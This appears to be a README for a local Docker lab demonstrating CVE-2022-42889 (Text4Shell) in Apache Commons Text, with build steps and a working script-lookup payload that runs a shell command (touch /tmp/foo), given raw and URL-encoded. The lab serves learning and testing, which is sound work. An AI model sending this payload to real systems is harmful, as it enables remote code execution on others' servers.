cve-2022-42889-text4shell

Install maven - maven-linux

1. Maven install to create the fat jar

mvn clean install

2. Docker build

docker build --tag=text4shell .

3. Docker run

docker run -p 80:8080 text4shell

4. Test the app

http://localhost/text4shell/attack?search=<anything>

5. Attack can be performed by passing a string “${prefix:name}” where the prefix is the aforementioned lookup:

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

6. You can also try using dns or url prefixes.

7. Get the container id

docker container ls

8. Get into the app

docker exec -it <container_id> bash

9. To check if above RCE was successful (You should see a file named foo created in the /tmp directory):

ls /tmp/

10. To stop the container

docker container stop <container_id>